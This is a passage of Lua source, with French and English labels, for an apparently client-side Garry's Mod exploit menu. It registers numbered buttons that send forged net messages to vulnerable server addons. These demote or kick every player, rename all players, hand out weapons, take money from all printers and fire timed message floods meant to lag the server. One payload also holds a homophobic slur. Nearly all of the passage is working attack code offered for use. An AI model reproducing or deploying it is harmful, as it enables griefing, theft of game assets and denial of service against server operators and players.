9003 --("Démarré")
9004net.Start("FiremanLeave")
9005net.SendToServer()
9006end )
9007end
9008
9009status = ValidNetString("PoliceJoin")
9010if (status) then
9011CHATPRINT("Exploit Trouvé : Rejoindre La Police [PoliceJoin]")
9012addExploit( "60","Join the Police 1", "joining the police", function()
9013surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9014 --("Démarré")
9015net.Start("PoliceJoin")
9016net.SendToServer()
9017end )
9018end
9019
9020status = ValidNetString("CreateEntity")
9021if (status) then
9022CHATPRINT("Exploit Trouvé : Crée Une Entité [CreateEntity]")
9023addExploit( "61","Create Entity", "", function()
9024surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9025 --("Démarré")
9026for k,v in pairs(player.GetAll()) do
9027net.Start("CreateEntity")
9028net.WriteString("sent_arc_atm")
9029net.WriteFloat(100000000000000000000000000000000000000000000000000)
9030net.WriteEntity(v)
9031net.SendToServer()
9032end
9033end )
9034end
9035
9036status = ValidNetString("CREATE_REPORT")
9037if (status) then
9038CHATPRINT("Exploit Trouvé : Crée Des Reports [CREATE_REPORT]")
9039addExploit( "62","CREATE REPORT", "", function()
9040surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9041 --("Démarré")
9042local tab = {
9043REPORTER = v:Nick(),
9044REPORTERID = v:SteamID(),
9045FAGGOT = v:Nick(),
9046FAGGOTID = v:SteamID(),
9047INFO = "Dite Bonjour A YouTube :D",
9048PROOF = "https://www.youtube.com/channel/UC0QCztHSlkMOmhzygkV6ssQ"
9049}
9050for k,v in pairs(player.GetAll()) do
9051net.Start("CREATE_REPORT")
9052net.WriteTable(tab)
9053net.SendToServer()
9054end
9055end )
9056end
9057
9058status = ValidNetString("Hopping_Test")
9059if (status) then
9060CHATPRINT("Exploit Trouvé : Test De Bonheur [Hopping_Test]")
9061addExploit( "62","Hopping Test", "", function()
9062surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9063 --("Démarré")
9064for k,v in pairs(player.GetAll()) do
9065net.Start("Hopping_Test")
9066net.WriteEntity(v)
9067net.WriteString("69.696.696969.69")
9068net.SendToServer()
9069end
9070end )
9071end
9072
9073status = ValidNetString("CpForm_Answers")
9074if (status) then
9075CHATPRINT("Exploit Trouvé : Rejoindre La Police [CpForm_Answers]")
9076addExploit( "63","Join the Police 2", "joining the police #2",
9077function()
9078surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9079 --("Démarré")
9080net.Start("CpForm_Answers")
9081net.WriteEntity(LocalPlayer())
9082net.WriteTable({})
9083net.SendToServer()
9084end )
9085end
9086
9087status = ValidNetString("VehicleUnderglow")
9088if (status) then
9089CHATPRINT("Exploit Trouvé : Néon De Véhicule [VehicleUnderglow]")
9090addExploit( "64","Vehicle Underglow", "", function()
9091surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9092 --("Démarré")
9093net.Start("VehicleUnderglow")
9094net.SendToServer()
9095end )
9096end
9097
9098status = ValidNetString("OpenGates")
9099if (status) then
9100CHATPRINT("Exploit Trouvé : Ouvrir Porte #2 [OpenGates]")
9101addExploit( "65","Ouvrir Porte #2", "Force open the door you are looking
9102 at", function()
9103surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9104 --("Démarré")
9105net.Start("OpenGates")
9106net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
9107net.SendToServer()
9108end )
9109end
9110
9111status = ValidNetString("DemotePlayer")
9112if (status) then
9113CHATPRINT("Exploit Trouvé : Démote Tout Les Joueurs [DemotePlayer]")
9114addExploit( "66","Demote All Players", "Demote all players", function()
9115surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9116 --("Démarré")
9117for k, v in pairs(player.GetAll()) do
9118net.Start("DemotePlayer")
9119net.WriteString(v:SteamID())
9120net.SendToServer()
9121end
9122end )
9123end
9124
9125status = ValidNetString("SendMail")
9126if (status) then
9127CHATPRINT("Exploit Trouvé : Envoyez Mail [SendMail]")
9128addExploit( "67","Envoyez Mail", "sending mail to all players",
9129function()
9130surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9131 --("Démarré")
9132for k,v in pairs(player.GetAll()) do
9133net.Start("SendMail")
9134net.WriteString("Grosse sécurité les mecs ! :^)")
9135net.WriteString(v:Nick())
9136net.SendToServer()
9137end
9138end )
9139end
9140
9141status = ValidNetString("REPAdminChangeLVL")
9142if (status) then
9143CHATPRINT("Exploit Trouvé : Changer De Niveau [REPAdminChangeLVL]")
9144addExploit( "68","Admin Change Level", "free lvl", function()
9145surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9146 --("Démarré")
9147for k,v in pairs(player.GetAll()) do
9148net.Start("REPAdminChangeLVL")
9149net.WriteEntity(v)
9150net.WriteDouble(1090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000)
9151net.SendToServer()
9152end
9153end
9154 )
9155end
9156
9157status = ValidNetString("BuyUpgradesStuff")
9158if (status) then
9159CHATPRINT("Exploit Trouvé : Achetez Amélioration [BuyUpgradesStuff]")
9160addExploit( "69","Buy Upgrades", "free upgrades", function()
9161surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9162 --("Démarré")
9163net.Start("BuyUpgradesStuff")
9164net.WriteString("")
9165net.WriteFloat(-100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000)
9166net.SendToServer()
9167end
9168 )
9169end
9170
9171status = ValidNetString("SquadGiveWeapon")
9172if (status) then
9173CHATPRINT("Exploit Trouvé : Give Arme [SquadGiveWeapon]")
9174addExploit( "70","Donnez Des Armes", "easy weapon", function()
9175surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9176 inputFrameExists = true
9177inputFrame = vgui.Create( "DFrame" )
9178inputFrame:SetTitle("Choisi une arme!")
9179inputFrame:SetSize( 400, 75 )
9180inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 +
9181230 )
9182inputFrame:SetDraggable(true)
9183inputFrame:ShowCloseButton(true)
9184inputFrame:MakePopup()
9185inputFrame.Paint = function( self, w, h )
9186draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
9187end
9188local TextEntry = vgui.Create( "DTextEntry", inputFrame )
9189TextEntry:SetSize( 380, 30 )
9190TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2,
9191inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
9192TextEntry:SetText( "ls_sniper" )
9193TextEntry.OnEnter = function( self )
9194surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9195 --("Giving Weapon")
9196net.Start("SquadGiveWeapon")
9197net.WriteString( self:GetValue() )
9198net.WriteEntity(LocalPlayer())
9199net.SendToServer()
9200inputFrame:SetVisible(false)
9201end
9202end )
9203end
9204
9205status = ValidNetString("SetTableTarget")
9206if (status) then
9207CHATPRINT("Exploit Trouvé : Set Table Target [SetTableTarget]")
9208addExploit( "71","Set Table Target", "", function()
9209surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9210 --("Démarré")
9211net.Start("SetTableTarget")
9212net.WriteString("pername")
9213net.WriteString("perjob")
9214net.WriteInt(-10000000000000, 32)
9215net.WriteString("hitmansel")
9216net.WriteString("Anony.")
9217net.WriteString("")
9218net.WriteFloat(0)
9219net.WriteInt(-10000000000000, 32)
9220net.SendToServer()
9221end )
9222end
9223
9224status = ValidNetString("UpdateRPUModelSQL")
9225if (status) then
9226CHATPRINT("Exploit Trouvé : Change character model
9227[UpdateRPUModelSQL]")
9228addExploit( "72","Change character model", "", function()
9229surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9230 --("Démarré")
9231net.Start("UpdateRPUModelSQL")
9232net.WriteString(LocalPlayer():GetEyeTrace().Entity:GetModel())
9233net.SendToServer()
9234end )
9235end
9236
9237status = ValidNetString("disguise")
9238if (status) then
9239CHATPRINT("Exploit Trouvé : Disguise [disguise]")
9240addExploit( "73","Disguise", "allows you to disguise as any job",
9241function()
9242surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9243 inputFrameExists = true
9244inputFrame = vgui.Create( "DFrame" )
9245inputFrame:SetTitle("Enter the number of the job")
9246inputFrame:SetSize( 400, 75 )
9247inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 +
9248230 )
9249inputFrame:SetDraggable(true)
9250inputFrame:ShowCloseButton(true)
9251inputFrame:MakePopup()
9252inputFrame.Paint = function( self, w, h )
9253draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
9254end
9255local TextEntry = vgui.Create( "DTextEntry", inputFrame )
9256TextEntry:SetSize( 380, 30 )
9257TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2,
9258inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
9259TextEntry:SetText( "5" )
9260TextEntry.OnEnter = function( self )
9261surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9262 --("Déguisé")
9263net.Start("disguise")
9264net.WriteInt(tonumber(self:GetValue()), 32)
9265net.SendToServer()
9266inputFrame:SetVisible(false)
9267end
9268end )
9269end
9270
9271status = ValidNetString("gportal_rpname_change")
9272if (status) then
9273CHATPRINT("Exploit Trouvé : Nom RP #1 [gportal_rpname_change]")
9274addExploit( "74","Your RP Name #1", "allows you to put absolutely any rp
9275 name", function()
9276surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9277 inputFrameExists = true
9278inputFrame = vgui.Create( "DFrame" )
9279inputFrame:SetTitle("Entrer Votre Nom")
9280inputFrame:SetSize( 400, 75 )
9281inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 +
9282230 )
9283inputFrame:SetDraggable(true)
9284inputFrame:ShowCloseButton(true)
9285inputFrame:MakePopup()
9286inputFrame.Paint = function( self, w, h )
9287draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
9288end
9289local TextEntry = vgui.Create( "DTextEntry", inputFrame )
9290TextEntry:SetSize( 380, 30 )
9291TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2,
9292inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
9293TextEntry:SetText(
9294"--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------"
9295 )
9296TextEntry.OnEnter = function( self )
9297surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9298 --("Changé")
9299net.Start("gportal_rpname_change")
9300net.WriteString( (self:GetValue()), 32)
9301net.WriteString(" ")
9302net.SendToServer()
9303inputFrame:SetVisible(false)
9304end
9305end )
9306end
9307
9308status = ValidNetString("NewRPNameSQL")
9309if (status) then
9310CHATPRINT("Exploit Trouvé : Your RP Name #2 [NewRPNameSQL]")
9311addExploit( "75","Your RP Name #2", "allows you to put absolutely any rp
9312 name", function()
9313surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9314 inputFrameExists = true
9315inputFrame = vgui.Create( "DFrame" )
9316inputFrame:SetTitle("Enter your name")
9317inputFrame:SetSize( 400, 75 )
9318inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 +
9319230 )
9320inputFrame:SetDraggable(true)
9321inputFrame:ShowCloseButton(true)
9322inputFrame:MakePopup()
9323inputFrame.Paint = function( self, w, h )
9324draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
9325end
9326local TextEntry = vgui.Create( "DTextEntry", inputFrame )
9327TextEntry:SetSize( 380, 30 )
9328TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2,
9329inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
9330TextEntry:SetText(
9331"--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------"
9332 )
9333TextEntry.OnEnter = function( self )
9334surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9335 --("Changé")
9336net.Start("NewRPNameSQL")
9337net.WriteString( (self:GetValue()), 32)
9338net.SendToServer()
9339inputFrame:SetVisible(false)
9340end
9341end )
9342end
9343
9344status = ValidNetString("chname")
9345if (status) then
9346CHATPRINT("Exploit Trouvé : Your RP Name #3 [chname]")
9347addExploit( "76","Your RP Name #3", "", function()
9348surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9349 inputFrameExists = true
9350inputFrame = vgui.Create( "DFrame" )
9351inputFrame:SetTitle("Enter your name")
9352inputFrame:SetSize( 400, 75 )
9353inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 +
9354230 )
9355inputFrame:SetDraggable(true)
9356inputFrame:ShowCloseButton(true)
9357inputFrame:MakePopup()
9358inputFrame.Paint = function( self, w, h )
9359draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
9360end
9361local TextEntry = vgui.Create( "DTextEntry", inputFrame )
9362TextEntry:SetSize( 380, 30 )
9363TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2,
9364inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
9365TextEntry:SetText(
9366"--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------"
9367 )
9368TextEntry.OnEnter = function( self )
9369surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9370 --("Changé")
9371net.Start("chname")
9372net.WriteString( (self:GetValue()) )
9373net.WriteString(" ")
9374net.SendToServer()
9375inputFrame:SetVisible(false)
9376end
9377end )
9378end
9379
9380status = ValidNetString("AbilityUse")
9381if (status) then
9382CHATPRINT("Exploit Trouvé : Free Bonus [AbilityUse]")
9383addExploit( "77","Free Bonus", "allows you to instantly get bonuses",
9384function()
9385surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9386 for k, v in ipairs(rp.abilities.list) do
9387CHATPRINT("ID - "..k.." | "..v:GetName())
9388inputFrameExists = true
9389inputFrame = vgui.Create( "DFrame" )
9390inputFrame:SetTitle("Enter the id of the bonus")
9391inputFrame:SetSize( 400, 75 )
9392inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 +
9393230 )
9394inputFrame:SetDraggable(true)
9395inputFrame:ShowCloseButton(true)
9396inputFrame:MakePopup()
9397inputFrame.Paint = function( self, w, h )
9398draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
9399end
9400local TextEntry = vgui.Create( "DTextEntry", inputFrame )
9401TextEntry:SetSize( 380, 30 )
9402TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2,
9403inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
9404TextEntry:SetText( "6" )
9405TextEntry.OnEnter = function( self )
9406surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9407 --("Reçu")
9408net.Start("AbilityUse")
9409net.WriteInt(tonumber(self:GetValue()), 32)
9410net.SendToServer()
9411inputFrame:SetVisible(false)
9412end
9413end
9414end )
9415end
9416
9417status = ValidNetString("race_accept")
9418if (status) then
9419CHATPRINT("Exploit Trouvé : Recevoir Véhicule [race_accept]")
9420addExploit( "78","Recevoir Véhicule", "", function()
9421surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9422 inputFrameExists = true
9423inputFrame = vgui.Create( "DFrame" )
9424inputFrame:SetTitle("Enter the id of the car")
9425inputFrame:SetSize( 400, 75 )
9426inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 +
9427230 )
9428inputFrame:SetDraggable(true)
9429inputFrame:ShowCloseButton(true)
9430inputFrame:MakePopup()
9431inputFrame.Paint = function( self, w, h )
9432draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
9433end
9434local TextEntry = vgui.Create( "DTextEntry", inputFrame )
9435TextEntry:SetSize( 380, 30 )
9436TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2,
9437inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
9438TextEntry:SetText( "1" )
9439TextEntry.OnEnter = function( self )
9440surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9441 --("Démarré")
9442net.Start("race_accept")
9443net.WriteInt(tonumber(self:GetValue()), 32)
9444net.SendToServer()
9445end
9446end )
9447end
9448
9449status = ValidNetString("NLR_Spawn")
9450if (status) then
9451CHATPRINT("Exploit Trouvé : ReSpawn #3 [NLR_Spawn]")
9452addExploit( "79","ReSpawn #3", "instant revival", function()
9453surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9454 --("Démarré")
9455net.Start("NLR_Spawn")
9456net.WriteEntity(LocalPlayer())
9457net.SendToServer()
9458end )
9459end
9460
9461status = ValidNetString("Kun_ZiptieStruggle")
9462if (status) then
9463CHATPRINT("Exploit Trouvé : Casser Menottess [Kun_ZiptieStruggle]")
9464addExploit( "80","Casser Menottess", "Instantly breaks the handcuffs",
9465function()
9466surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9467 --("Démarré")
9468for i=0,30 do
9469net.Start("Kun_ZiptieStruggle")
9470net.SendToServer()
9471end
9472end )
9473end
9474
9475status = ValidNetString("JB_Votekick")
9476if (status) then
9477CHATPRINT("Exploit Trouvé : Votekick Massif [JB_Votekick]")
9478addExploit( "81","Votekick Massif", "Kick Tous Le Monde", function()
9479surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9480 --("Démarré")
9481for k,v in pairs(player.GetAll()) do
9482net.Start("JB_Votekick")
9483net.WriteEntity(v)
9484net.WriteString("what? what? what? what? what? what? what? what? what?
9485what? what? what? what? what? what? what? what? ")
9486net.SendToServer()
9487end
9488end )
9489end
9490
9491status = ValidNetString("Letthisdudeout")
9492if (status) then
9493CHATPRINT("Exploit Trouvé : Arret Forcé [Letthisdudeout]")
9494addExploit( "82","Arret Forcé", "exploit on all Byb servers to bail
9495yourself out", function()
9496surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9497 --("Démarré")
9498net.Start("Letthisdudeout")
9499net.WriteEntity(LocalPlayer())
9500net.SendToServer()
9501end )
9502end
9503
9504status = ValidNetString("opr_withdraw")
9505if (status) then
9506CHATPRINT("Exploit Trouvé : Crée Des Lags #14 [opr_withdraw]")
9507addExploit( "83","Crée Des Lags #14", "", function()
9508surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9509 --("Démarré")
9510timer.Create("lagger14", 0,0, function()
9511for i = 1, 1000 do
9512net.Start("opr_withdraw",true)
9513net.WriteEntity(LocalPlayer())
9514net.SendToServer()
9515end
9516end )
9517end )
9518end
9519
9520status = ValidNetString("NC_GetNameChange")
9521if (status) then
9522CHATPRINT("Exploit Trouvé : Change all names [NC_GetNameChange]")
9523addExploit( "84","Change all names", "allows you to change the rp names
9524of all players", function()
9525surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9526 inputFrameExists = true
9527inputFrame = vgui.Create( "DFrame" )
9528inputFrame:SetTitle("Enter the name")
9529inputFrame:SetSize( 400, 75 )
9530inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 +
9531230 )
9532inputFrame:SetDraggable(true)
9533inputFrame:ShowCloseButton(true)
9534inputFrame:MakePopup()
9535inputFrame.Paint = function( self, w, h )
9536draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
9537end
9538local TextEntry = vgui.Create( "DTextEntry", inputFrame )
9539TextEntry:SetSize( 380, 30 )
9540TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2,
9541inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
9542TextEntry:SetText( "AHAHAHAHAH" )
9543TextEntry.OnEnter = function( self )
9544surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9545 --("Démarré")
9546for k, v in pairs( player.GetAll() ) do
9547net.Start("NC_GetNameChange")
9548net.WriteEntity(v)
9549net.WriteString( (self:GetValue()) )
9550net.WriteString( (self:GetValue()) )
9551net.SendToServer()
9552end
9553end
9554end )
9555end
9556
9557status = ValidNetString("revival_revive_accept")
9558if (status) then
9559CHATPRINT("Exploit Trouvé : Reanimation #2 [revival_revive_accept]")
9560addExploit( "85","Reanimation #2", "instant revival, ", function()
9561surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9562 if !timer.Exists( "exploit_revive" ) then
9563--( "Enabled" )
9564timer.Create( "exploit_revive", 0.5, 0, function()
9565if !LocalPlayer():Alive() then
9566net.Start("revival_revive_accept")
9567net.SendToServer()
9568end
9569end )
9570else
9571timer.Remove( "exploit_revive" )
9572--( "Disabled" )
9573end
9574end )
9575end
9576
9577status = ValidNetString("join_disconnect")
9578if (status) then
9579CHATPRINT("Exploit Trouvé : Crée Des Lags #15 [join_disconnect]")
9580addExploit( "86","Crée Des Lags #15", "b1g lags my duder", function()
9581surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9582 --("Démarré")
9583if not timer.Exists("lagger15") then
9584timer.Create("lagger15", 0.5, 0, function()
9585for i = 1, 3000 do
9586net.Start("join_disconnect",true)
9587net.WriteEntity(table.Random(player.GetAll()))
9588net.SendToServer()
9589end
9590end)
9591else
9592timer.Remove("lagger15")
9593--("Stopping")
9594end
9595end )
9596end
9597
9598status = ValidNetString("BuyFirstTovar")
9599if (status) then
9600CHATPRINT("Exploit Trouvé : Free Physgun [BuyFirstTovar]")
9601addExploit( "87","Free Physgun", "get physgun", function()
9602surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9603 --("Take physgun")
9604net.Start("BuyFirstTovar")
9605net.WriteString("0")
9606net.SendToServer()
9607end )
9608end
9609
9610status = ValidNetString("BuySecondTovar")
9611if (status) then
9612CHATPRINT("Exploit Trouvé : Gravity Gun Gratuit [BuySecondTovar]")
9613addExploit( "88","Gravity Gun Gratuit", "Pas Trop Utile Mais Tjr Cool
9614:)", function()
9615surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9616 --("Take gravitygun")
9617net.Start("BuySecondTovar")
9618net.WriteString("0")
9619net.SendToServer()
9620end )
9621end
9622
9623status = ValidNetString("MONEY_SYSTEM_GetWeapons")
9624if (status) then
9625CHATPRINT("Exploit Trouvé : Donnez Des Armes #2
9626[MONEY_SYSTEM_GetWeapons]")
9627addExploit( "89","Donnez Des Armes #2", "get weapons", function()
9628surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9629 --("Démarré")
9630for i = 1,32 do
9631net.Start("MONEY_SYSTEM_GetWeapons")
9632net.WriteInt(i, 8)
9633net.SendToServer()
9634end
9635end )
9636end
9637
9638status = ValidNetString("MCon_Demote_ToServer")
9639if (status) then
9640CHATPRINT("Exploit Trouvé : Demote Tout Les Joueurs #2
9641[MCon_Demote_ToServer]")
9642addExploit( "90","Demote Tout Les Joueurs #2", "demote all players",
9643function()
9644surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9645 --("Démarré")
9646for k,v in pairs(player.GetAll()) do
9647net.Start("MCon_Demote_ToServer")
9648net.WriteString(v:SteamID())
9649net.SendToServer()
9650end
9651end )
9652end
9653
9654status = ValidNetString("withdrawMoney")
9655if (status) then
9656CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #3
9657[withdrawMoney]")
9658addExploit( "91","Voler L'argents De Tous #3", "withdraw money from all
9659printers, ", function()
9660surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9661 --("Démarré")
9662for k, v in pairs(ents.GetAll()) do
9663net.Start("withdrawMoney")
9664net.WriteEntity(v)
9665net.SendToServer()
9666end
9667end )
9668end
9669
9670status = ValidNetString("withdrawMoney")
9671if (status) then
9672CHATPRINT("Exploit Trouvé : Crée Des Lags #16 [withdrawMoney]")
9673addExploit( "92","Crée Des Lags #16", "", function()
9674surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9675 --("Démarré")
9676timer.Create("lagger16", 0, 0, function()
9677for i=1,1000 do
9678net.Start("withdrawMoney",true)
9679net.WriteEntity(LocalPlayer())
9680net.SendToServer()
9681end
9682end )
9683end )
9684end
9685
9686status = ValidNetString("SyncPrinterButtons76561198027292625")
9687if (status) then
9688CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #4
9689[SyncPrinterButtons76561198027292625]")
9690addExploit( "93","Voler L'argents De Tous #4", "withdraw money from all
9691printers", function()
9692surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9693 --("Démarré")
9694for k, v in pairs(ents.GetAll()) do
9695net.Start("SyncPrinterButtons76561198027292625")
9696net.WriteEntity(v)
9697net.WriteUInt(2, 4)
9698net.SendToServer()
9699end
9700end )
9701end
9702
9703status = ValidNetString("gPrinters.retrieveMoney")
9704if (status) then
9705CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #5
9706[gPrinters.retrieveMoney]")
9707addExploit( "94","Voler L'argents De Tous #5", "withdraw money from all
9708printers, ", function()
9709surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9710 --("Démarré")
9711for k, v in pairs(ents.GetAll()) do
9712net.Start("gPrinters.retrieveMoney")
9713net.WriteEntity(v)
9714net.SendToServer()
9715end
9716end )
9717end
9718
9719status = ValidNetString("gPrinters.retrieveMoney")
9720if (status) then
9721CHATPRINT("Exploit Trouvé : Crée Des Lags #17
9722[gPrinters.retrieveMoney]")
9723addExploit( "95","Crée Des Lags #17", "", function()
9724surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9725 --("Démarré")
9726timer.Create("lagger17", 0, 0, function()
9727for i=1,1000 do
9728net.Start("gPrinters.retrieveMoney",true)
9729net.WriteEntity(LocalPlayer())
9730net.SendToServer()
9731end
9732end )
9733end )
9734end
9735
9736status = ValidNetString("NGII_TakeMoney")
9737if (status) then
9738CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #6
9739[NGII_TakeMoney]")
9740addExploit( "96","Voler L'argents De Tous #6", "withdraw money from all
9741printers", function()
9742surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9743 --("Démarré")
9744for k, v in pairs(ents.GetAll()) do
9745net.Start("NGII_TakeMoney")
9746net.WriteEntity(v)
9747net.WriteEntity(LocalPlayer())
9748net.SendToServer()
9749end
9750end )
9751end
9752
9753status = ValidNetString("money_clicker_withdraw")
9754if (status) then
9755CHATPRINT("Exploit Trouvé : Crée Des Lags #18
9756[money_clicker_withdraw]")
9757addExploit( "97","Crée Des Lags #18", "", function()
9758surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9759 --("Démarré")
9760timer.Create("lagger18", 0, 0, function()
9761for i=1,1000 do
9762net.Start("money_clicker_withdraw",true)
9763net.WriteEntity(LocalPlayer())
9764net.SendToServer()
9765end
9766end )
9767end )
9768end
9769
9770status = ValidNetString("opr_withdraw")
9771if (status) then
9772CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #7 [opr_withdraw]")
9773addExploit( "98","Voler L'argents De Tous #7", "withdraw money from all
9774printers", function()
9775surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9776 --("Démarré")
9777for k, v in pairs(ents.GetAll()) do
9778net.Start("opr_withdraw")
9779net.WriteEntity(v)
9780net.SendToServer()
9781end
9782end )
9783end
9784
9785status = ValidNetString("NET_DoPrinterAction")
9786if (status) then
9787CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #8
9788[NET_DoPrinterAction]")
9789addExploit( "99","Voler L'argents De Tous #8", "withdraw money from all
9790printers", function()
9791surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9792 --("Démarré")
9793for k, v in pairs(ents.GetAll()) do
9794if v:GetClass():find("print") then
9795net.Start("NET_DoPrinterAction")
9796net.WriteEntity(LocalPlayer())
9797net.WriteEntity(v)
9798net.WriteInt(2,16)
9799net.SendToServer()
9800end
9801end
9802end )
9803end
9804
9805status = ValidNetString("tickbooksendfine")
9806if (status) then
9807CHATPRINT("Exploit Trouvé : Ticket Book [tickbooksendfine]")
9808addExploit( "100","Ticket Book", "allows you to write a fine to all
9809players, ", function()
9810surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9811 --("Démarré")
9812local reasonstable = {"Nice nan ? :D"}
9813for k, v in pairs(player.GetAll()) do
9814if v != LocalPlayer() then
9815net.Start("tickbooksendfine")
9816net.WriteString(v:SteamID())
9817net.WriteTable(reasonstable)
9818net.WriteDouble(1500, 32)
9819net.SendToServer()
9820end
9821end
9822end )
9823end
9824
9825status = ValidNetString("SyncPrinterButtons16690")
9826if (status) then
9827CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #9
9828[SyncPrinterButtons16690]")
9829addExploit( "101","Voler L'argents De Tous #9", "withdraw money from all
9830 printers", function()
9831surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
9832 --("Démarré")
